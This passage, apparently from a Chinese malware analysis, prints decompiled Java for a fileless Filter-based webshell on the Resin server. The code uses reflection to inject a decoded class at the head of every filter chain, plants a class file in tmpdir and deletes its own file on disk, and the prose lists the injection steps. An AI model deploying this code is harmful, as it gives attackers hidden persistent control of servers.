QcAoQcAoQEB/wAEAAcBAQcAAwEBBwBRAQAGAQEHAKEHAKEBAf8ABAAHAQEHAAMBAQcAUQEABgEBBwChBwChAQH/AAQABwEBBwADAQEHAFEBAAYBAQcAoQcAoQEB/wAEAAcBAQcAAwEBBwBRAQAGAQEHAKEHAKEBAf8ABAAHAQEHAAMBAQcAUQEABgEBBwChBwChAQH/AAQABwEBBwADAQEHAFEBAAYBAQcAoQcAoQEB/wABAAcBAQcAAwEBBwBRAQAHAQEHAKEHAKEBAQH/AA8ABwEBBwADAQEHAFEBAAMBAQcAoScAAQA0AAAAAgC6";
byte[] array3;
try {
final Class<?> loadClass6 = contextClassLoader.loadClass("java.util.Base64");
array3 = (byte[])contextClassLoader.loadClass("java.util.Base64$Decoder").getMethod("decode", String.class).invoke(loadClass6.getMethod("getDecoder", (Class<?>[])new Class[0]).invoke(loadClass6, new Object[0]), s6);
}
catch (ClassNotFoundException ex4) {
final Class<?> loadClass7 = contextClassLoader.loadClass("javax.xml.bind.DatatypeConverter");
array3 = (byte[])loadClass7.getMethod("parseBase64Binary", String.class).invoke(loadClass7, s6);
}
final Method declaredMethod = contextClassLoader.loadClass("java.lang.ClassLoader").getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
declaredMethod.setAccessible(true);
final Class clazz = (Class)declaredMethod.invoke(contextClassLoader, s5, array3, 0, array3.length);
final Object instance = loadClass2.newInstance();
loadClass2.getMethod("setFilterName", String.class).invoke(instance, s5);
final Field declaredField = loadClass2.getDeclaredField("_filterClassName");
declaredField.setAccessible(true);
declaredField.set(instance, s5);
final Field declaredField2 = loadClass2.getDeclaredField("_filterClass");
declaredField2.setAccessible(true);
declaredField2.set(instance, clazz);
invoke2.getClass().getMethod("addFilter", loadClass2).invoke(invoke2, instance);
final Object instance2 = loadClass3.newInstance();
loadClass4.getMethod("init", (Class<?>[])new Class[0]).invoke(loadClass4.getMethod("addText", String.class).invoke(loadClass3.getMethod("createUrlPattern", (Class<?>[])new Class[0]).invoke(instance2, new Object[0]), "/*"), new Object[0]);
loadClass2.getMethod("setFilterName", String.class).invoke(instance2, s5);
declaredField.set(instance2, s5);
declaredField2.set(instance2, clazz);
loadClass3.getMethod("setServletContext", contextClassLoader.loadClass("javax.servlet.ServletContext")).invoke(instance2, invoke2);
Field field;
try {
field = invoke2.getClass().getDeclaredField("_filterMapper");
}
catch (NoSuchFieldException ex5) {
field = invoke2.getClass().getSuperclass().getDeclaredField("_filterMapper");
}
field.setAccessible(true);
final Object value = field.get(invoke2);
final Field declaredField3 = loadClass5.getDeclaredField("_filterMap");
declaredField3.setAccessible(true);
final ArrayList list = (ArrayList)declaredField3.get(value);
final ArrayList list2 = new ArrayList<Object>(list.size() + 1);
list2.add(instance2);
int i = 0;
try {
while (i < list.size()) {
list2.add(list.get(i));
++i;
}
}
catch (ClassNotFoundException ex) {
throw ex;
}
declaredField3.set(value, list2);
field.set(invoke2, value);
Field field2;
try {
field2 = invoke2.getClass().getDeclaredField("_loginFilterMapper");
}
catch (NoSuchFieldException ex6) {
field2 = invoke2.getClass().getSuperclass().getDeclaredField("_loginFilterMapper");
}
field2.setAccessible(true);
final Object value2 = field2.get(invoke2);
final ArrayList list3 = (ArrayList)declaredField3.get(value2);
final ArrayList list4 = new ArrayList<Object>(list3.size() + 1);
list4.add(instance2);
int j = 0;
try {
while (j < list3.size()) {
list4.add(list3.get(j));
++j;
}
}
catch (ClassNotFoundException ex2) {
throw ex2;
}
declaredField3.set(value2, list4);
field2.set(invoke2, value2);
invoke2.getClass().getMethod("clearCache", (Class<?>[])new Class[0]).invoke(invoke2, new Object[0]);
try {
final File file = new File(System.getProperty("java.io.tmpdir"));
final File file2 = new File(file, s5.replace('.', '/') + ".class");
Label_1596: {
try {
file2.getParentFile().mkdirs();
if (!file2.exists()) {
if (!file2.createNewFile()) {
break Label_1596;
}
}
}
catch (ClassNotFoundException ex3) {
throw ex3;
}
final Constructor<?> declaredConstructor = contextClassLoader.loadClass("sun.misc.URLClassPath$FileLoader").getDeclaredConstructor(URL.class);
declaredConstructor.setAccessible(true);
final Object instance3 = declaredConstructor.newInstance(file.toURI().toURL());
ClassLoader classLoader;
for (classLoader = ClassLoader.getSystemClassLoader(); classLoader.getParent() != null; classLoader = classLoader.getParent()) {}
Field declaredField4 = null;
Serializable s7 = classLoader.getClass();
while (s7 != null) {
try {
declaredField4 = ((Class)s7).getDeclaredField("ucp");
}
catch (NoSuchFieldException ex7) {
s7 = ((Class<? extends ClassLoader>)s7).getSuperclass();
continue;
}
break;
}
if (declaredField4 != null) {
declaredField4.setAccessible(true);
final Field declaredField5 = Field.class.getDeclaredField("modifiers");
declaredField5.setAccessible(true);
declaredField5.setInt(declaredField4, 0);
final Object value3 = declaredField4.get(classLoader);
Field declaredField6 = null;
Class<?> clazz2 = value3.getClass();
while (clazz2 != null) {
try {
declaredField6 = clazz2.getDeclaredField("loaders");
}
catch (NoSuchFieldException ex8) {
clazz2 = clazz2.getSuperclass();
continue;
}
break;
}
if (declaredField6 != null) {
declaredField6.setAccessible(true);
((ArrayList)declaredField6.get(value3)).add(instance3);
}
}
}
}
catch (Exception ex9) {}
final Object invoke3 = invoke.getClass().getMethod("getInvocation", (Class<?>[])new Class[0]).invoke(invoke, new Object[0]);
new File((String)invoke.getClass().getSuperclass().getMethod("getRealPath", String.class).invoke(invoke, (String)invoke3.getClass().getMethod("getContextURI", (Class<?>[])new Class[0]).invoke(invoke3, new Object[0]))).delete();
}

Resin在com.caucho.server.webapp.WebApp实现了addFilter方法,因此可以通过反射调用该方法添加Filter。

实现Resin基于Filter无文件Webshell大致流程如下:
1.通过反射获取FilterConfigImpl类并实例化。
2.通过反射调用setFilterName设置Filter的名字,以及设置_filterClassName、_filterClass属性。
3.通过addFilter添加Filter到当前WebApp中。
4.实例化filterMapping并设置Filter作用的路由。
5.获取WebApp的_filterMapper和_loginFilterMapper,并将前面创建的filterMapping放置到所有filterMapping的首位。

看一下注册的Filter类,和之前不一样的是,Filter里面又多了一层加密,有点俄罗斯套娃的味道了。

再解密一次,得到最终的Filter类。